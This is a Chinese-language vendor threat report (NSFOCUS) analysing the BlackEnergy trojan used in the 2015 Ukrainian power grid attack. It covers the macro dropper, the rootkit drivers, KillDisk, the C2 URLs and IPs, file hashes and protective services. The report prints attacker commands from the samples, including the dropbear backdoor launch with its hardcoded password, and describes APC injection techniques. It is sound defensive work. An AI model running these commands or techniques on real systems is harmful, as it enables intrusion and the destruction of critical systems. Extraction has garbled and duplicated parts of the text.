分析及防护方案
Content
乌克兰电力公司设备被攻击事件
事件基本情况攻击的基本过程危害和影响分析
事件应对方案产品自动升级服务极光自助扫描服务反垃圾邮件服务专家团队检测服务木马专杀解决方案
BlackEnergy木马分析
执行架构样本的启动方式样本结构详细文件功能
XLSvba_macro.exeFONTCACHE.DATDroper2.exeDriver.sysSSH_Backdoor.exe(dropbear.exe)Killdisk组件
木马行为分析及攻击定位
行为分析文件分析进程分析网络分析注册表分析
攻击定位利用技术跟踪
威胁情报
关于绿盟科技
2|24
内容摘要
2015年12月,乌克兰电力公司设备遭到黑客
3攻击,并导致大规模停电事件,已引起公众极大的
恐慌。
本文对该事件相关信息及核心样本进行了分 3析及验证,并给出应对方案。
3 3 12015年12月23日,乌克兰的
5 伊万诺-弗兰科夫斯克州地区
5 发生过多处同时停电的事件, 攻击者控制了电力系统,并远
5 程关闭了电网,导致140万居 民在黑暗中度过。
5 5 22015年12月27日,黑客使用高度破坏性的恶意软件感染了
6 至少3个地区的电力部门基础 设施,导致发电设备产生故障, 已经引起公众恐慌。
6 32016年1月7日,绿盟科技威 胁响应中心启动应急响应机 制,追踪事件进展。
6 42016年1月11日,绿盟科技安
7 全服务部门对相关漏洞进行分 析及验证。
7 52016年1月15日,绿盟科技威
9 胁响应中心发布分析报告
9 9 10 绿盟科技威胁响应中心持续关注乌克兰电厂 11攻击事件的进展,如果您需要了解更多信息,请联 13系: 14•绿盟科技博客15•/ •绿盟科技威胁响应中心微博 21•/threatresponse 21•绿盟科技微信号 21•搜索公众号绿盟科技 21 22 22 2323 23 24 乌克兰电力公司设备被攻击事件 2016年1月4日,ESET公司发表文章称,乌克兰境内的多家配电公司设备中监测到的KillDisk,由此怀疑使用了BlackEnergy后门,攻击者能够利用它来远程访问并控制电力控制系统。
由于此事件是针对电力设备的攻击,对于国家关键基础设施的安全性具有非比寻常的意义,故存在巨大的风险。
相关情况如下: 事件基本情况 攻击的基本过程 本次攻击主要针对乌克兰电力部门,攻击者以钓鱼邮件方式,附带木马XLS文件,诱惑用户打开这个文件,从而运行木马,安装SSH后门,以便攻击者可以针对目标下发工业控制指令,必要时运行killdisk进行系统自毁,延长系统恢复时间。
•什么是XLS就是MicrosoftExcel工作表,是一种非常常用的电子表格格式,xls文件可以使用MicrosoftExcel打开; •什么是SSHSSH是(SecureSHellprotocol)的简写,便于在不安全网络上提供安全的远程登录及其它安全网络服务的协议,保护信息传输的安全性。
在此次事件中,BlackEnergy木马放置了一个后门程序dropbear.exe,这个后门基于这个协议,在端口6789上与攻击者进行联系; •什么是KillDisk是BlackEnergy木马中的一个组件,用于损毁目标设备的系统,在此次事件中将有可能损毁电力设备的系统。
危害和影响分析 在此次事件中,BlackEnergy木马被用于损毁电力设备或放置后门,以便攻击者可以远程控制这些设备,进行更多攻击动作。
相关的危害性分析如下:木马功能越来越强大 该木马从2007第一次被发现到今天,软件作者频繁更新其功能,逐渐变得功能异常强大, 3|24 图1BlackEnergy技术发展(图片来自F-SecureBlackEnergywhitepaper) 木马频繁攻击工控系统另一方面,从各界公开的信息中可以看到,从2014年起,该木马就多次被攻击者用于攻击工控系统, 相关事件如下: 国内可能遭遇的危害之所以发生此次事件,是由于国外的电力设备有相当一部分都接入了互联网,攻击者得以通过邮件的 形式诱骗工作人员,从而进入系统实施攻击。
相比之下,国内大多工控设施及相关业务系统都采用了专网的形式或者与互联网隔绝,这在相当程度上阻止了此类事件的发生,但需要注意的是,在绿盟科技长年对4|24 于工控安全的研究中发现,移动存储设备时常成为木马入侵的途径之
一,如果BlackEnergy木马通过这种形式感染业务系统设备后,完全有可能通过预置的攻击方案,对工控系统实施打击,比如利用KillDisk损毁主机,这样控制系统重启过程中一旦无法读取配置,将导致整个系统停机。
事件防护方案 本次攻击主要以邮件方式传播木马XLS文件,利用社会工程学,诱惑被攻击者打开文件,运行木马,安装SSH后门,保证攻击者可以长时间控制被感染的主机。
针对目标下发工业控制指令,必要时运行killdisk进行系统自毁,延长系统恢复时间。
基于目前绿盟科技工控系统安全专家的分析情况来看,已经启动了一套应对方案,随时可以帮助客户应对该事件,避免造成更大的风险和损失,这些方案包括: 产品自动升级服务 绿盟入侵防护系统(NSFOCUSNIPS)将在2016年1月16日发布产品规则升级包,包括567、568、569版本,用户升级后即可提供实时防护。
升级办法绿盟科技已在软件升级公告中提供规则升级包,规则可以通过产品界面的在线升级进行。
如果您的业务系统暂时还无法升级规则包,那么可以在软件升级页面中,找到对应的产品,通过下载升级包,以离线方式进行升级。
相关升级信息请随时关注:•安全产品介绍:/products/details_22_3.html•产品升级公告:/ 极光自助扫描服务 绿盟远程安全评估系统(RSAS)通过绿盟云也交付了云端自助扫描服务(极光自助扫描服务),用户可以通过该服务的资产管理功能定期对主机设备进行漏洞检查,以便对多种漏洞进行风险监测,发现内网中交换路由设备上存在的安全漏洞。
登录24小时在线极光自助扫描页面,随时申请,随时试用,随时检查,申请链接如下: •/#/krosa/views/initcdr/productandservice?
pid=1&sid=0&cid=
1 反垃圾邮件服务 针对此次事件中以钓鱼邮件入侵的手段,还可以申请试用反垃圾邮件服务,通过这项服务用户可以对电子邮件系统进行全面安全防御,申请链接如下: •/#/krosa/views/initcdr/productandservice?
pid=1&sid=0&cid=
1 专家团队检测服务 1)2)5|24 绿盟科技工程师前往客户现场检测。
使用绿盟科技的工控漏扫定期对主机进行漏洞检测。
木马专杀解决方案 1)短期服务:绿盟科技工程师现场木马后门清理服务(人工服务+NIPS+TAC)。
确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。
2)中期服务:提供3-6个月的风险监控与巡检服务(NIPS+TAC+人工服务)。
根除风险,确保事件不复发。
3)长期服务:能源行业业务风险解决方案(威胁情报+攻击溯源+专业安全服务+行业工控安全解决方案) 在绿盟科技制定应对方案的同时,为了帮助用户能够对此次攻击事件有更深入的了解,绿盟科技工控安全专家联合威胁响应中心的技术专家,对事件涉及的木马进行了深入分析。
BlackEnergy木马分析 该样本是一个复合样本,包含多个文件。
下面绿盟科技的工程师模拟重现这个分析过程。
执行架构 样本的执行架构图如下所示: 6|24 样本的启动方式 •执行带有宏(VBA代码)的XLS文件,该文件会释放出C:\Users\Dell\AppData\Local\Temp\vba_macro.exe,vba_macro.exe会进行RPC通道监听,并创建C:\Users\Dell\AppData\Local\FONTCACHE.DAT文件,设置开机自启动。
FONTCACHE.DAT文件会进行网络连接,下载文件,包括SSH后门与驱动程序等。
•开机自启动。
vba_macro.exe会创建一个C:\Users\Dell\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\{AAE98887-6CBF-4625-A18F-ED75766421C2}.lnk,该文件实际执行的操作是:%windir%\System32\rundll32.exe"C:\Users\Dell\AppData\Local\FONTCACHE.DAT",#
1,用于开机自启动。
•以服务形式开机启动。
SSH_Backdoor.exe(dropbear.exe)由服务管理器自动启动。
样本结构 该样本是一个复合型样本,包含多个文件。
表1各个文件的基本信息介绍 文件类型 MD5 功能 XLSVba_macro.exe FONTCACHE.DATDroper2.exe Driver.sys 97b7577d13cf5e3bf39cbe6d3f0a7732abeab18ebae2c3e445699d256d5f5fb1 cdfb4cda9144d01fb26b5449f9d189ff 1d6d926f9287b4e4cb5bfc271a164f51 32bit0d2022d6148f521c43b9573cd79ead54e60854c96fab23f2c857dd6eb745961c97d6d1b36171bc3eafdd0dc07e7a4d2d1e439a13df4b7603f5eb7a975235065ea0b7b80c3c1d9c1c432a740fa17c612660d3185aff17084297a2c4c2efdabdc9 释放文件并执行C:\Users\Dell\AppData\Local\Temp\vba_macro.exe获取网卡详细信息创建文件并执行C:\Users\Dell\AppData\Local\FONTCACHE.DAT自删除创建线程(0x10011C91),作为RPC服务端程序, 进行RPC通道监听代码注入与文件下载释放并执行驱动文件 C:\Windows\system32\drivers\*.sys获取、还原文件user32.dll.mui的所有权驱动被Installer加载后,首先执行解压脱壳,然后 创建设备驱动,名字为:\\DosDevices\\{C9059FFF-1C49-83E8-4F16387C720}、\\DosDevices\\{C9059FFF-1C49-4445-83E8-4F16387C3800},用来与用户端(main.dll)通信;之后进行代码注入,将shellcode写入在svchost.exe中申请的内存空间,再通过APC线程注入方式注入svchost.exe。
注入的shellcode与Rootkit代码,黑客统一使用了通过压栈API函数的HASH值,调用_GetFuncAddr动态获取API函数地址,用来干扰和对抗逆向分析。
驱动文件均伪装成微软的系统文件,不过没有合法 7|24 SSH_Backdoor.exe(dropbear.exe)Killdisk.exe 03e9477f8da8f6f61b03a01d5a38918fed55997aada076dc61e20e1d1218925a2cae5e949f1208d13150a9d492a706c164bitd98f4fc6d8bb506b27d37b89f7ce89d018e7885eab07ebfb6d1c9303b992ca212a8ac6f39979413f9916e8462e960a4eb794824fcdd6ca956246139f93a83f134a39cd55512f6d66b96dcef158833027fcf222004b64d80037b485aa6938ba2ead234e211425bbfffeaba10fd83c59c28f025c99d063f8 03372 7361b64ddca90a1a1de43185bd509b64 cd1aa880f30f9b8bb6cf4d4f9e41ddf466676deaa9dfe98f8497392064aefbab 签名(USBMDMDriver、AMDIDEdriver)。
通过定位windows内核(ntoskrnl.exe)及关键链 接库(hal.dll)中的数据,获取要调用的函数,为了保证程序尺寸足够小,通过保存要获取函数的函数名hash值,获取函数地址时,通过hash碰撞定位函数地址;其中windows32位驱动程序均进行了加壳处理。
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的。
这个文件是一个SSH服务器程序,是从现有的第三方SSH服务端dropbear的代码修改的。
使用了内置的默认密码(passDs5Bu9Te7)进行登录验证。
以服务启动创建C:\Windows\svchost.exe文件,将自己的代 码写入到该文件中,然后将该文件作为服务启动。
启动过程可以设置不同的参数,实现不同的功能枚举系统进程并提升进程权限设置系统注册表配置项获取关机权限、关机终止进程wininit.exe,lsass.exe获取系统权限清除系统日志API编码、保护硬盘设备PhysicalDrive%Num%(Num从0到10) 清零多种文件类型的处理 8|24 详细文件功能 XLS MD5:97b7577d13cf5e3bf39cbe6d3f0a7732主要功能:释放C:\Users\Dell\AppData\Local\Temp\vba_macro.exe文件,并启动执行。
图3XLS中的宏代码 vba_macro.exe MD5:abeab18ebae2c3e445699d256d5f5fb1•首先获取网卡详细信息,使用函数:GetAdaptersInfo。
•创建并写入C:\Users\Dell\AppData\Local\FONTCACHE.DAT文件。
使用rundll32.dll调用该文件, 参数#
1,调用第一个导出函数PacketAllocatePacket执行。
•自删除。
9|24 使用ShellExecuteA启动cmd.exe,参数/s/c"for/L%iin(1,1,100)do(del/F"C:\Users\Dell\AppData\Local\Temp\VBA_MA~
1.EXE"&pinglocalhost-n2&ifnotexist"C:\Users\Dell\AppData\Local\Temp\VBA_MA~
1.EXE"Exit1) FONTCACHE.DAT MD5:cdfb4cda9144d01fb26b5449f9d189ff•创建线程(0x10011C91),作为RPC服务端程序,进行RPC通道监听。
通道使用命名的Pipe(“\Pipe\{AA0EED25-4167-4CBB-BDA8-9A0F5FF93EA8}”),监听过程使用三个函数(rpcrt4.RpcServerUseProtseqEpA,rpcrt4.RpcServerRegisterIf2,rpcrt4.RpcServerListen)完成。
•下载文件首先对svchost.exe进行代码注入: 图4RPC通道监听 图5svchost.exe进程中注入的代码注入的代码的主要功能是调用iexplore.exe进程。
10|24 图6svchost.exe创建iexplore.exe进程Iexplore.exe有网络请求,网址已经失效,所以,请求失败。
图7explore.exe的网络操作•URL:http://5.9.32.230/Microsoft/Update/KS1945777.php FONTCACHE.EXE中出现的网络连接字符串是:URL:http://5.149.254.114/Microsoft/Update/KC074913.php,FONTCACHE.EXE中没有跟踪到网路操作。
Droper2.exe MD5:1d6d926f9287b4e4cb5bfc271a164f51•释放并执行驱动文件11|24 文件名:C:\Windows\system32\drivers\adpu320.sys(e60854c96fab23f2c857dd6eb745961c)并加载执行。
adpu320.sys文件名是随机生成的。
加载方式为: 1使用函数:CreateProcessA2参数:ModuleFileName="C:\Windows\system32\cmd.exe",3CommandLine=4"/c"pinglocalhost-n8&move/Y"C:\Windows\adpu320s""C:\Windows\system32\drivers\a dpu320.sys"&pinglocalhost-n3&startadpu320""。
•获取、还原文件user32.dll.mui的所有权user32.dll.mui中保存了系统的版本与水印信息。
1获取文件所有权2使用函数:CreateProcessA3参数:CommandLine="C:\Windows\system32\cmd.exe/cC:\Windows\System32\takeown.exe /f"C:\Windows\System32\zh-CN\user32.dll.mui""45恢复文件所有权6使用函数:CreateProcessA7参数:ModuleFileName=NULL80018EF440018EF74|CommandLine="C:\Windows\system32\cmd.exe/c"C:\Windows\Syst em32\icacls.exeC:\Windows\System32\zh-CN\user32.dll.mui/grant%username%:F"" •对svchost.exe进行代码注入注入代码主要用于两个方面,1网络连接,地址:5.9.32.230:443;2对文件Ntkrnlpa.exe进行写入操 作,用于对释放的驱动程序进行保护。
通过绿盟科技翠鸟软件行为分析系统Kingfisher中,可以看到该文件的执行流程图如下所示: 12|24 图8Droper2.exe的执行过程 Driver.sys 驱动文件分32bit和64bit两类,执行的基本功能相同。
表2驱动程序MD5列表 Windows64位驱动MD5 Windows32位驱动MD5 MD5:d98f4fc6d8bb506b27d37b89f7ce89d0 MD5:0d2022d6148f521c43b9573cd79ead54 MD5:18e7885eab07ebfb6d1c9303b992ca21 MD5:e60854c96fab23f2c857dd6eb745961c MD5:2a8ac6f39 MD5:97d6d1b36171bc3eafdd0dc07e7a4d2d MD5:979413f9916e8462e960a4eb794824fc MD5:1e439a13df4b7603f5eb7a975235065e MD5:dd6ca MD5:a0b7b80c3c1d9c1c432a740fa17c6126 MD5:956246139f93a83f134a39cd55512f6d MD5:60d3185aff17084297a2c4c2efdabdc9 MD5:66b96dcef158833027fcf222004b64d8 MD5:03e9477f8da8f6f61b03a01d5a38918f MD5:0037b485aa6938ba2ead234e211425bb MD5:ed55997aada076dc61e20e1d1218925a MD5:2cae5e949f1208d13150a9d492a706c1 驱动文件主要用于代码注入,其注入代码完成与C&C服务器通信。
•驱动被Installer加载后,首先执行解压脱壳,然后创建设备驱动,名字为: \\DosDevices\\{C9059FFF-1C49-83E8-4F16387C720}、 13|24 \\DosDevices\\{C9059FFF-1C49-4445-83E8-4F16387C3800},用来与用户端(main.dll)通信;之后进行代码注入,将shellcode写入在svchost.exe中申请的内存空间,再通过APC线程注入方式注入svchost.exe。
•注入的shellcode与Rootkit代码,黑客统一使用了通过压栈API函数的HASH值,调用_GetFuncAddr动态获取API函数地址,用来干扰和对抗逆向分析。
•驱动文件均伪装成微软的系统文件,不过没有合法签名(USBMDMDriver、AMDIDEdriver)。
•通过定位windows内核(ntoskrnl.exe)及关键链接库(hal.dll)中的数据,获取要调用的函数,为了保证程序尺寸足够小,通过保存要获取函数的函数名hash值,获取函数地址时,通过hash碰撞定位函数地址;其中windows32位驱动程序均进行了加壳处理。
•APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的。
SSH_Backdoor.exe(dropbear.exe) MD5:fffeaba10fd83c59c28f025c99d063f8功能:这个文件是一个SSH服务器程序,是从现有的第三方SSH服务端dropbear的代码修改的。
使用了内置的默认密码(passDs5Bu9Te7)进行登录验证。
图9SSH服务器密码校验代码 14|24 图10SSH服务器程序的RSA认证密钥 该文件是由一段Shell脚本启动的: 1SetWshShell=CreateObject("WScript.Shell")2WshShell.CurrentDirectory="C:\WINDOWS\TEMP\Dropbear\"3WshShell.Run"dropbear.exe-rrsa-ddss-a-p6789",0,false Killdisk组件 文件1:03372(MD5)以服务启动,创建C:\Windows\svchost.exe文件,将自己的代码写入到该文件中,然后将该文件作为服务启动。
启动过程可以设置不同的参数,实现不同的功能。
15|24 图11以服务形式启动该文件的代码片段 图12枚举系统进程并提升进程权限 16|24 图13设置系统注册表配置项代码片段 图14获取关机权限代码片段 文件2:7361b64ddca90a1a1de43185bd509b64(MD5)该文件主要用于获取系统权限与清除系统日志。
获取的权限包括: 1SE_SECURITY_PRIVILEGE2SE_BACKUP_PRIVILEGE3SE_RESTORE_PRIVILEGE4SE_SYSTEMTIME_PRIVILEGE5SE_SHUTDOWN_PRIVILEGE6SE_REMOTE_SHUTDOWN_PRIVILEGE7SE_TAKE_OWNERSHIP_PRIVILEGE8SE_SYSTEM_ENVIRONMENT_PRIVILEGE9SE_SYSTEM_PROFILE_PRIVILEGE10SE_PROF_SINGLE_PROCESS_PRIVILEGE11SE_INC_BASE_PRIORITY_PRIVILEGE12SE_CREATE_PAGEFILE_PRIVILEGE13SE_INCREASE_QUOTA_PRIVILEGE14SE_MANAGE_VOLUME_PRIVILEGE 17|24 图15提升进程权限代码片段 18|24 图16清除日志代码片段 图17API编码代码片段 图18初始化安全描述符代码片段文件3:cd1aa880f30f9b8bb6cf4d4f9e41ddf4该文件主要用于对硬盘设备PhysicalDrive%Num%(Num从0到10)进行清零。
19|24 图19硬盘清零代码片段文件4:66676deaa9dfe98f8497392064aefbab添加了对多种文件类型的处理。
20|24 图20部分文件类型列表 木马行为分析及攻击定位 行为分析 文件分析 •由xls释放vba_macro.exe。
•由vba_macro.exe释放主dll文件并从网络下载相关的组件。
•样本有对NTUSER.LOG文件的读写•对整个硬盘文件的遍历与删除 进程分析 •结束进程,关闭windows安全机制。
主要结束两个进程:lsass.exe和wininit.exe.lsass.exe是一个系统进程,用于微软Windows系统的安全机制。
它用于本地安全和登陆策略 21|24 wininit.exe的工作是开启一些主要的Vista-Win7、Win8后台服务,比如中央服务管理器ServiceCentralManager(SCM),本地安全验证子系统LocalSecurityAuthoritySubsystem(LSASS)和本地会话管理器LocalSessionManager(LSM.EXE). •进程注入FONTCACHE.DAT和驱动文件都会对Svchost.exe进行代码注入。
FONTCACHE.DAT注入的代码的功能是网络连接,下载文件。
驱动文件注入代码的功能是C&C服务器通信。
•安装服务Killdisk以服务形式启动 网络分析 •整个样本操作的IP地址列表 15.149.254.11425.9.32.230331.210.111.154488.198.25.925146.0.74.76188.40.8.72 •文件下载URLFONTCACHE.DAT中有网络操作,URL:http://5.149.254.114/Microsoft/Update/KC074913.phpIexplore.exe中使用的URL:http://5.9.32.230/Microsoft/Update/KS1945777.php 注册表分析 •Explorer注册表设置 1"HKEY_CURRENT_USER\Software\Microsoft\Explorer\Main\Check_Associations"no2"HKEY_CURRENT_USER\Software\Microsoft\Explorer\InformationBar\FirstTime"03"HKEY_CURRENT_USER\Software\Microsoft\Explorer\NewWindows\PopupMgr""no"4"HKEY_CURRENT_USER\Software\Microsoft\Explorer\PhishingFilter\Enabled"05"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Settings\Cache\P ersistent"06"HKEY_CURRENT_USER\Software\Microsoft\Explorer\TabbedBrowsing\WarnOnClose" 07"HKEY_CURRENT_USER\Software\Microsoft\Explorer\TabbedBrowsing\WarnOnCloseAdv anced"08"HKEY_CURRENT_USER\Software\Microsoft\Explorer\Main\DisableFirstRunCustomize" 19"HKEY_CURRENT_USER\Software\Microsoft\Explorer\Recovery\NoReopenLastSession" 1 22|24 10"HKEY_CURRENT_USER\Software\Microsoft\Explorer\Main\NoProtectedModeBanner"
1 •系统注册表配置信息 1HKEY_LOCAL_MACHINE\Software\MicrosoftSecurity\ConfigFlags 攻击定位 利用技术跟踪 •社会工程学传播•后门程序•RPC通道监听•多进程通信 威胁情报 图21各个IP地址定位信息 威胁情报的获取及响应都体现了防御能力的建设程度,威胁情报服务体系至少包含了威胁监测及响应、数据分析及整理、业务情报及交付、风险评估及咨询、安全托管及应用等各个方面,涉及研究、产品、服务、运营及营销的各个环节,绿盟科技通过研究、云端、产品、服务等立体的应急响应体系,向企业和组织及时提供威胁情报,并持续对对匿名者攻击事件进行关注,保障客户业务的顺畅运行。
如果您对我们提供的内容有任何疑问,或者需要了解更多的信息,可以随时通过在微博、微信中搜索绿盟科技联系我们,欢迎您的垂询! 23|24 关于绿盟科技 北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。
在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。
基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。
北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。
24|24
本文对该事件相关信息及核心样本进行了分 3析及验证,并给出应对方案。
3 3 12015年12月23日,乌克兰的
5 伊万诺-弗兰科夫斯克州地区
5 发生过多处同时停电的事件, 攻击者控制了电力系统,并远
5 程关闭了电网,导致140万居 民在黑暗中度过。
5 5 22015年12月27日,黑客使用高度破坏性的恶意软件感染了
6 至少3个地区的电力部门基础 设施,导致发电设备产生故障, 已经引起公众恐慌。
6 32016年1月7日,绿盟科技威 胁响应中心启动应急响应机 制,追踪事件进展。
6 42016年1月11日,绿盟科技安
7 全服务部门对相关漏洞进行分 析及验证。
7 52016年1月15日,绿盟科技威
9 胁响应中心发布分析报告
9 9 10 绿盟科技威胁响应中心持续关注乌克兰电厂 11攻击事件的进展,如果您需要了解更多信息,请联 13系: 14•绿盟科技博客15•/ •绿盟科技威胁响应中心微博 21•/threatresponse 21•绿盟科技微信号 21•搜索公众号绿盟科技 21 22 22 2323 23 24 乌克兰电力公司设备被攻击事件 2016年1月4日,ESET公司发表文章称,乌克兰境内的多家配电公司设备中监测到的KillDisk,由此怀疑使用了BlackEnergy后门,攻击者能够利用它来远程访问并控制电力控制系统。
由于此事件是针对电力设备的攻击,对于国家关键基础设施的安全性具有非比寻常的意义,故存在巨大的风险。
相关情况如下: 事件基本情况 攻击的基本过程 本次攻击主要针对乌克兰电力部门,攻击者以钓鱼邮件方式,附带木马XLS文件,诱惑用户打开这个文件,从而运行木马,安装SSH后门,以便攻击者可以针对目标下发工业控制指令,必要时运行killdisk进行系统自毁,延长系统恢复时间。
•什么是XLS就是MicrosoftExcel工作表,是一种非常常用的电子表格格式,xls文件可以使用MicrosoftExcel打开; •什么是SSHSSH是(SecureSHellprotocol)的简写,便于在不安全网络上提供安全的远程登录及其它安全网络服务的协议,保护信息传输的安全性。
在此次事件中,BlackEnergy木马放置了一个后门程序dropbear.exe,这个后门基于这个协议,在端口6789上与攻击者进行联系; •什么是KillDisk是BlackEnergy木马中的一个组件,用于损毁目标设备的系统,在此次事件中将有可能损毁电力设备的系统。
危害和影响分析 在此次事件中,BlackEnergy木马被用于损毁电力设备或放置后门,以便攻击者可以远程控制这些设备,进行更多攻击动作。
相关的危害性分析如下:木马功能越来越强大 该木马从2007第一次被发现到今天,软件作者频繁更新其功能,逐渐变得功能异常强大, 3|24 图1BlackEnergy技术发展(图片来自F-SecureBlackEnergywhitepaper) 木马频繁攻击工控系统另一方面,从各界公开的信息中可以看到,从2014年起,该木马就多次被攻击者用于攻击工控系统, 相关事件如下: 国内可能遭遇的危害之所以发生此次事件,是由于国外的电力设备有相当一部分都接入了互联网,攻击者得以通过邮件的 形式诱骗工作人员,从而进入系统实施攻击。
相比之下,国内大多工控设施及相关业务系统都采用了专网的形式或者与互联网隔绝,这在相当程度上阻止了此类事件的发生,但需要注意的是,在绿盟科技长年对4|24 于工控安全的研究中发现,移动存储设备时常成为木马入侵的途径之
一,如果BlackEnergy木马通过这种形式感染业务系统设备后,完全有可能通过预置的攻击方案,对工控系统实施打击,比如利用KillDisk损毁主机,这样控制系统重启过程中一旦无法读取配置,将导致整个系统停机。
事件防护方案 本次攻击主要以邮件方式传播木马XLS文件,利用社会工程学,诱惑被攻击者打开文件,运行木马,安装SSH后门,保证攻击者可以长时间控制被感染的主机。
针对目标下发工业控制指令,必要时运行killdisk进行系统自毁,延长系统恢复时间。
基于目前绿盟科技工控系统安全专家的分析情况来看,已经启动了一套应对方案,随时可以帮助客户应对该事件,避免造成更大的风险和损失,这些方案包括: 产品自动升级服务 绿盟入侵防护系统(NSFOCUSNIPS)将在2016年1月16日发布产品规则升级包,包括567、568、569版本,用户升级后即可提供实时防护。
升级办法绿盟科技已在软件升级公告中提供规则升级包,规则可以通过产品界面的在线升级进行。
如果您的业务系统暂时还无法升级规则包,那么可以在软件升级页面中,找到对应的产品,通过下载升级包,以离线方式进行升级。
相关升级信息请随时关注:•安全产品介绍:/products/details_22_3.html•产品升级公告:/ 极光自助扫描服务 绿盟远程安全评估系统(RSAS)通过绿盟云也交付了云端自助扫描服务(极光自助扫描服务),用户可以通过该服务的资产管理功能定期对主机设备进行漏洞检查,以便对多种漏洞进行风险监测,发现内网中交换路由设备上存在的安全漏洞。
登录24小时在线极光自助扫描页面,随时申请,随时试用,随时检查,申请链接如下: •/#/krosa/views/initcdr/productandservice?
pid=1&sid=0&cid=
1 反垃圾邮件服务 针对此次事件中以钓鱼邮件入侵的手段,还可以申请试用反垃圾邮件服务,通过这项服务用户可以对电子邮件系统进行全面安全防御,申请链接如下: •/#/krosa/views/initcdr/productandservice?
pid=1&sid=0&cid=
1 专家团队检测服务 1)2)5|24 绿盟科技工程师前往客户现场检测。
使用绿盟科技的工控漏扫定期对主机进行漏洞检测。
木马专杀解决方案 1)短期服务:绿盟科技工程师现场木马后门清理服务(人工服务+NIPS+TAC)。
确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。
2)中期服务:提供3-6个月的风险监控与巡检服务(NIPS+TAC+人工服务)。
根除风险,确保事件不复发。
3)长期服务:能源行业业务风险解决方案(威胁情报+攻击溯源+专业安全服务+行业工控安全解决方案) 在绿盟科技制定应对方案的同时,为了帮助用户能够对此次攻击事件有更深入的了解,绿盟科技工控安全专家联合威胁响应中心的技术专家,对事件涉及的木马进行了深入分析。
BlackEnergy木马分析 该样本是一个复合样本,包含多个文件。
下面绿盟科技的工程师模拟重现这个分析过程。
执行架构 样本的执行架构图如下所示: 6|24 样本的启动方式 •执行带有宏(VBA代码)的XLS文件,该文件会释放出C:\Users\Dell\AppData\Local\Temp\vba_macro.exe,vba_macro.exe会进行RPC通道监听,并创建C:\Users\Dell\AppData\Local\FONTCACHE.DAT文件,设置开机自启动。
FONTCACHE.DAT文件会进行网络连接,下载文件,包括SSH后门与驱动程序等。
•开机自启动。
vba_macro.exe会创建一个C:\Users\Dell\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\{AAE98887-6CBF-4625-A18F-ED75766421C2}.lnk,该文件实际执行的操作是:%windir%\System32\rundll32.exe"C:\Users\Dell\AppData\Local\FONTCACHE.DAT",#
1,用于开机自启动。
•以服务形式开机启动。
SSH_Backdoor.exe(dropbear.exe)由服务管理器自动启动。
样本结构 该样本是一个复合型样本,包含多个文件。
表1各个文件的基本信息介绍 文件类型 MD5 功能 XLSVba_macro.exe FONTCACHE.DATDroper2.exe Driver.sys 97b7577d13cf5e3bf39cbe6d3f0a7732abeab18ebae2c3e445699d256d5f5fb1 cdfb4cda9144d01fb26b5449f9d189ff 1d6d926f9287b4e4cb5bfc271a164f51 32bit0d2022d6148f521c43b9573cd79ead54e60854c96fab23f2c857dd6eb745961c97d6d1b36171bc3eafdd0dc07e7a4d2d1e439a13df4b7603f5eb7a975235065ea0b7b80c3c1d9c1c432a740fa17c612660d3185aff17084297a2c4c2efdabdc9 释放文件并执行C:\Users\Dell\AppData\Local\Temp\vba_macro.exe获取网卡详细信息创建文件并执行C:\Users\Dell\AppData\Local\FONTCACHE.DAT自删除创建线程(0x10011C91),作为RPC服务端程序, 进行RPC通道监听代码注入与文件下载释放并执行驱动文件 C:\Windows\system32\drivers\*.sys获取、还原文件user32.dll.mui的所有权驱动被Installer加载后,首先执行解压脱壳,然后 创建设备驱动,名字为:\\DosDevices\\{C9059FFF-1C49-83E8-4F16387C720}、\\DosDevices\\{C9059FFF-1C49-4445-83E8-4F16387C3800},用来与用户端(main.dll)通信;之后进行代码注入,将shellcode写入在svchost.exe中申请的内存空间,再通过APC线程注入方式注入svchost.exe。
注入的shellcode与Rootkit代码,黑客统一使用了通过压栈API函数的HASH值,调用_GetFuncAddr动态获取API函数地址,用来干扰和对抗逆向分析。
驱动文件均伪装成微软的系统文件,不过没有合法 7|24 SSH_Backdoor.exe(dropbear.exe)Killdisk.exe 03e9477f8da8f6f61b03a01d5a38918fed55997aada076dc61e20e1d1218925a2cae5e949f1208d13150a9d492a706c164bitd98f4fc6d8bb506b27d37b89f7ce89d018e7885eab07ebfb6d1c9303b992ca212a8ac6f39979413f9916e8462e960a4eb794824fcdd6ca956246139f93a83f134a39cd55512f6d66b96dcef158833027fcf222004b64d80037b485aa6938ba2ead234e211425bbfffeaba10fd83c59c28f025c99d063f8 03372 7361b64ddca90a1a1de43185bd509b64 cd1aa880f30f9b8bb6cf4d4f9e41ddf466676deaa9dfe98f8497392064aefbab 签名(USBMDMDriver、AMDIDEdriver)。
通过定位windows内核(ntoskrnl.exe)及关键链 接库(hal.dll)中的数据,获取要调用的函数,为了保证程序尺寸足够小,通过保存要获取函数的函数名hash值,获取函数地址时,通过hash碰撞定位函数地址;其中windows32位驱动程序均进行了加壳处理。
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的。
这个文件是一个SSH服务器程序,是从现有的第三方SSH服务端dropbear的代码修改的。
使用了内置的默认密码(passDs5Bu9Te7)进行登录验证。
以服务启动创建C:\Windows\svchost.exe文件,将自己的代 码写入到该文件中,然后将该文件作为服务启动。
